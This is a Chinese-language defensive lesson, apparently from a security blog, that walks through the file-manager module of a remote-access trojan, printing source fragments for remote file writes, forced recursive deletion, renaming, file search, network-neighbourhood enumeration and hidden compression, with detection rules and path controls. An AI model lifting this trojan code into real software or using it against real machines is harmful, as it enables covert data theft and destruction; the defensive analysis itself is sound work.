30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:1071-1105
// 防御分析注释:
// 1. WriteLocalRecvFile 根据偏移写入数据块。
// 2. lpBuffer 前 8 字节是 FILESIZE 偏移,后面才是真正文件内容。
// 3. 写入完成后继续回传 TOKEN_DATA_CONTINUE,形成分块写入循环。
// 4. 检测侧可把网络接收、文件写入、目标目录和文件扩展名串联。
void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
{
FILESIZE* pFileSize = (FILESIZE*)lpBuffer;
BYTE* pData = lpBuffer + 8;
// 按偏移定位后写入,支持乱序或断点续传式写入。
SetFilePointer(m_hFileRecv,
pFileSize->dwSizeLow,
(long*)&pFileSize->dwSizeHigh,
FILE_BEGIN);
// 实际落盘动作。异常进程写入可执行文件、脚本、配置文件时风险更高。
WriteFile(m_hFileRecv, pData, nSize - 8, &dwBytesWrite, NULL);
// 通知远端继续发送下一块。
bToken[0] = TOKEN_DATA_CONTINUE;
Send(bToken, sizeof(bToken));
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
这一组函数对应企业里常见的“远程文件投放”风险。合法运维产品要有强授权、审批和完整操作记录;没有边界控制的任意路径写入,是很高的安全风险。
# 12. 删除、重命名和隐藏打开
删除和重命名属于破坏性操作。源码里既有删除单文件,也有递归删除目录。
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:708-761
// 防御分析注释:
// 1. DeleteDirectory 递归遍历目录并删除文件。
// 2. 对只读文件会先 SetFileAttributes 改成普通属性,再调用 DeleteFile。
// 3. 最后调用 RemoveDirectory 删除目录本身。
// 4. 递归删除应被视为高风险动作,尤其发生在用户文档、共享盘、业务目录或备份目录时。
bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
{
// 拼接通配符路径并开始遍历目录。
wsprintf(lpszFilter, _T("%s%s*.*"), lpszDirectory, lpszSlash);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
do
{
// 遇到子目录继续递归,风险会随目录层级扩大。
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
DeleteDirectory(strDirectory);
else
{
// 先去掉只读属性再删除,说明它会主动绕过普通文件属性保护。
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_READONLY)
SetFileAttributes(strFile, FILE_ATTRIBUTE_NORMAL);
DeleteFile(strFile);
}
} while (FindNextFile(hFind, &wfd));
RemoveDirectory(lpszDirectory);
return true;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:1119-1125
// 防御分析注释:
// 1. Rename 直接调用 MoveFile,不区分文件和目录。
// 2. 命令包里先放旧路径,再紧跟新路径,解析时依赖字符串结尾定位。
// 3. 批量重命名可能用于整理、隐藏或破坏业务文件结构。
// 4. 检测侧应记录旧路径、新路径、进程、用户和时间窗口。
void CFileManager::Rename(LPBYTE lpBuffer)
{
// 第一个字符串:原路径。
LPCTSTR lpExistingFileName = (TCHAR*)lpBuffer;
// 第二个字符串:新路径,紧跟在原路径的 \0 后面。
LPCTSTR lpNewFileName =
(TCHAR*)((byte*)lpExistingFileName +
(lstrlen(lpExistingFileName) + 1) * sizeof(TCHAR));
// MoveFile 同时可用于移动和重命名。
MoveFile(lpExistingFileName, lpNewFileName);
SendToken(TOKEN_RENAME_FINISH);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
源码里还有隐藏方式打开文件或目录的分支:它会拼接 cmd.exe /c start 并调用 CreateProcess。本课不展开使用方法,只强调检测意义:文件管理行为如果伴随隐藏进程创建,应提高风险等级。
# 13. 搜索、Recent 与 NetHood:数据发现信号
文件搜索会创建工作线程,递归遍历目录并匹配文件名。Recent 和 NetHood 则通过 Shell 特殊目录获得最近访问和网络邻居线索。
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:1148-1263
// 防御分析注释:
// 1. FindFileInDir 支持递归子目录搜索。
// 2. 命中的文件会通过 TOKEN_SEARCH_FILE_LIST 单独回传。
// 3. 搜索关键词、搜索起点和是否递归,是判断数据发现意图的重要字段。
// 4. 搜索线程可被停止标志中断,说明搜索可能持续较长时间。
void CFileManager::FindFileInDir(TCHAR* rootDir,
TCHAR* searchfilename,
BOOL bEnabledSubfolder)
{
// 当前目录拼接 *.*,枚举所有文件和子目录。
lstrcpy(filePathName, rootDir);
lstrcat(filePathName, _T("*.*"));
HANDLE hSearch = FindFirstFile(filePathName, &fd);
do
{
// 如果遇到子目录且允许递归,就继续向下搜索。
if ((fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) &&
lstrcmp(fd.cFileName, _T(".")) &&
lstrcmp(fd.cFileName, _T("..")))
{
if (bEnabledSubfolder)
FindFileInDir(tmpPath, searchfilename, bEnabledSubfolder);
}
else if (_tcsstr(fd.cFileName, searchfilename) > 0)
{
// 命中文件名后立刻回传一条结果。
// 企业侧可以按关键词、目录深度、命中数量识别数据发现行为。
lpBuffer[0] = TOKEN_SEARCH_FILE_LIST;
Send(lpBuffer, (UINT)LocalSize(lpBuffer));
}
} while (FindNextFile(hSearch, &fd) && !bIsStopSearch);
}
void CFileManager::SendSearchFilesList(LPCTSTR str)
{
// str 指向 FILESEARCH 结构,来自网络命令包。
memcpy(&filesearch, str, sizeof(FILESEARCH));
// 搜索在线程中执行,避免阻塞网络事件循环。
m_hWorkThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)FindFileThread,
(LPVOID)this, 0, NULL);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:1331-1380
// 防御分析注释:
// 1. SendNetHood 读取 CSIDL_NETHOOD,关注网络邻居和快捷方式目标。
// 2. getLnkFormPath 会解析快捷方式真实路径。
// 3. 这类行为常用于发现共享资源、网络路径和用户常用访问位置。
// 4. 合法工具应把网络邻居枚举纳入用户隐私和共享资源访问审计。
void CFileManager::SendNetHood()
{
TCHAR szPath[MAX_PATH];
// 获取当前用户的网络邻居目录。
SHGetSpecialFolderPath(NULL, szPath, CSIDL_NETHOOD, FALSE);
wsprintf(strPath, _T("%s%s*.*"), szPath, lpszSlash);
hFile = FindFirstFile(strPath, &FindFileData);
do
{
wsprintf(InPath, _T("%s%s"), strPath_out, pszFileName);
// 解析 .lnk 真实目标,可能得到 UNC 路径、共享目录或业务文件位置。
if (!getLnkFormPath(InPath, OutPath))
continue;
lpList[0] = TOKEN_FILE_GETNETHOOD;
} while (FindNextFile(hFile, &FindFileData));
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
这类“找文件”的行为本身不一定危险,很多管理工具都有搜索功能。但如果它与敏感关键词、短时间多目录递归、压缩和网络回传组合出现,就应作为数据安全事件处理。
# 14. 压缩与高风险文件动作
源码中有两类压缩相关实现:
- 调用外部
WinRAR执行压缩或解压参数。 - 使用
zip.h/.cpp中的 ZIP 辅助函数生成压缩包。
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:1127-1143
// 防御分析注释:
// 1. ExeCompress 通过 ShellExecuteEx 调用 WinRAR,并隐藏窗口。
// 2. lpParameters 来自命令包,真实工程应限制参数和输入输出目录。
// 3. 外部压缩工具 + 敏感目录 + 网络连接,是数据打包风险信号。
// 4. 本课不讲压缩参数构造,只从防御侧识别行为链。
void CFileManager::ExeCompress(BYTE* lpBuffer)
{
SHELLEXECUTEINFO ShExecInfo = { 0 };
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
ShExecInfo.lpFile = _T("WinRAR");
ShExecInfo.lpParameters = (TCHAR*)lpBuffer;
ShExecInfo.nShow = SW_HIDE;
// 启动外部压缩工具并等待完成。
// 隐藏窗口执行压缩时,用户侧不一定能直观看到行为。
if (ShellExecuteEx(&ShExecInfo))
{
WaitForSingleObject(ShExecInfo.hProcess, INFINITE);
CloseHandle(ShExecInfo.hProcess);
SendToken(TOKEN_COMPRESS_FINISH);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:1462-1566
// 防御分析注释:
// 1. FindZIPThread 会遍历输入路径,把目录和文件加入 ZIP。
// 2. 它使用 zip.h/.cpp 提供的 CreateZip、ZipAddFolder、ZipAdd、CloseZip 辅助函数。
// 3. 压缩完成后发送 TOKEN_FILE_ZIPOK。
// 4. 安全产品应关注异常进程在用户文档、共享盘、配置目录中批量生成压缩包。
void WINAPI CFileManager::FindZIPThread(LPVOID lparam)
{
CFileManager* pThis = (CFileManager*)lparam;
// 创建 ZIP 输出对象。newzippath 是输出压缩包路径,应纳入路径授权。
HZIP hz = CreateZip(newzippath, 0);
while (std::getline(ss, token, _T('|')))
{
if (dwAttr & FILE_ATTRIBUTE_DIRECTORY)
{
// 目录:先加入目录项,再递归加入目录下文件。
ZipAddFolder(hz, zippath_filename);
pThis->FindFileInDirZipAdd(zippath, hz, pathlen);
}
else
{
// 文件:直接加入 ZIP。
ZipAdd(hz, zippath_filename, zippath);
}
}
// 关闭 ZIP 并通知主控压缩完成。
CloseZip(hz);
pThis->SendToken(TOKEN_FILE_ZIPOK);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
加密、解密、强制删除等分支也出现在命令面中。对这些内容,本课只保留防御性结论:看到异常进程对业务文件进行批量加密、解密、删除、压缩、重命名时,要立即关联网络会话、父进程、命令来源和目标路径。
# 15. 路径边界:为什么这是企业最该补的控制点

这个模块的一个核心风险是:很多文件 API 直接使用命令包里的路径。防御改造时,最重要的不是把函数名改漂亮,而是加路径边界。
| 路径区域 | 风险 | 建议控制 |
|---|---|---|
| 系统目录 | 影响系统稳定性和安全配置 | 默认禁止写入、删除和隐藏执行 |
| 用户文档 | 可能包含业务资料和个人数据 | 加强访问授权、DLP 和操作记录 |
| 配置与凭据相关文件 | 可能包含连接串、令牌、密钥或浏览器配置 | 最小化访问,触发高优先级告警 |
| 日志与备份 | 可能包含业务敏感信息,也可能被删除掩盖痕迹 | 只读保护、集中备份、删除告警 |
| Recent / NetHood | 暴露用户常用路径和共享资源 | 读取行为应和进程可信度关联 |
合法远程管理工具至少应做到:
| 控制点 | 说明 |
|---|---|
| 路径规范化 | 把相对路径、短路径、符号链接、大小写差异统一处理 |
| 允许范围 | 普通运维账户只允许访问授权目录 |
| 敏感目录保护 | 系统目录、凭据目录、浏览器配置、业务密钥目录默认保护 |
| 操作确认 | 删除、覆盖、批量重命名、压缩敏感目录需要二次确认 |
| 操作记录 | 记录操作者、主机、路径、动作、文件哈希和结果 |
# 16. x86/x64 与 WoW64 文件系统重定向
构造函数里调用了 IsWow64Process,OnReceive 开头会尝试动态解析 Wow64DisableWow64FsRedirection。这说明作者考虑过 32 位进程运行在 64 位系统上的路径差异。
| 场景 | 新手容易误解的点 | 防御分析 |
|---|---|---|
32 位进程访问 C:\Windows\System32 | 可能被重定向到 SysWOW64 | 日志里看到的路径和真实访问视图可能不同 |
| 64 位系统上的 32 位插件 | 文件系统视图可能与 64 位工具不同 | 需要结合进程位数、API 调用和真实句柄 |
| 禁用重定向 | 可能访问 64 位系统目录 | 异常进程调用该 API 应提升关注 |
| 路径检测只做字符串匹配 | 容易漏掉重定向、短路径、链接路径 | 应做路径规范化和最终对象解析 |
这不是教你绕过路径,而是提醒防御侧:只看字符串形式的路径是不够的。文件检测要尽量落到“最终访问对象”和“进程上下文”。
# 17. 企业检测点

文件管理模块的检测不能只看一个 API。单次 FindFirstFile 或 ReadFile 都可能是正常行为,关键是关联。
| 检测面 | 关注点 | 示例规则思路 |
|---|---|---|
| 进程侧 | 异常插件进程、隐藏桌面、隐藏窗口执行 | 不可信路径进程调用 CreateDesktop、SetThreadDesktop、CreateProcess |
| 文件侧 | 批量枚举、读取、写入、删除、重命名、压缩 | 同一进程短时间内访问大量用户文档或共享盘文件 |
| 路径侧 | 系统目录、用户文档、配置目录、凭据目录、日志备份 | 敏感路径被非授权进程读取或修改 |
| 网络侧 | 文件操作命令、分块回传、长连接 | 文件读取后立即出现持续网络发送 |
| 数据侧 | 压缩包、密钥材料、批量读取、DLP 告警 | 生成压缩包后出现外连或大流量上传 |
可以把事件串成这样的逻辑:
可疑进程建立长连接
-> 枚举盘符或桌面目录
-> 连续枚举用户目录 / 共享目录
-> 读取或压缩大量文件
-> 分块网络发送
-> 触发数据外流或敏感路径告警
2
3
4
5
6
# 18. 合法练习题
- 只阅读源码,画出
COMMAND_LIST_FILES -> SendFilesList -> TOKEN_FILE_LIST的数据流,并标出每个字段的含义。 - 在隔离实验环境中,不执行危险操作,整理
OnReceive中所有COMMAND_*与函数名的对应关系。 - 从防御角度写一条检测规则:异常进程短时间枚举多个用户文档目录,并随后读取大文件。
- 设计一个合法远程运维工具的路径授权策略:哪些目录允许读,哪些目录允许写,哪些目录必须禁止删除。
- 分析
UploadToRemote的命名视角,解释为什么主控界面上的“下载”在被控端源码里表现为“上传”。 - 设计文件操作记录字段:操作者、主机、进程、路径、动作、文件大小、哈希、结果和网络会话 ID。
# 19. 本课小结
文件管理模块的核心不是某一个 API,而是一条完整链路:连接建立后,插件进入 CFileManager,构造阶段发送磁盘列表,随后 OnReceive 按命令执行目录枚举、文件传输、写入、删除、搜索和压缩。
从企业安全角度看,文件管理能力必须和权限、路径边界、操作记录、DLP、网络检测结合。没有授权和边界的文件管理插件,本质上就是高风险数据访问能力。下一课继续看 主插件\查注册表,重点转向注册表根键、子键和值的枚举、写入、删除和检测。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言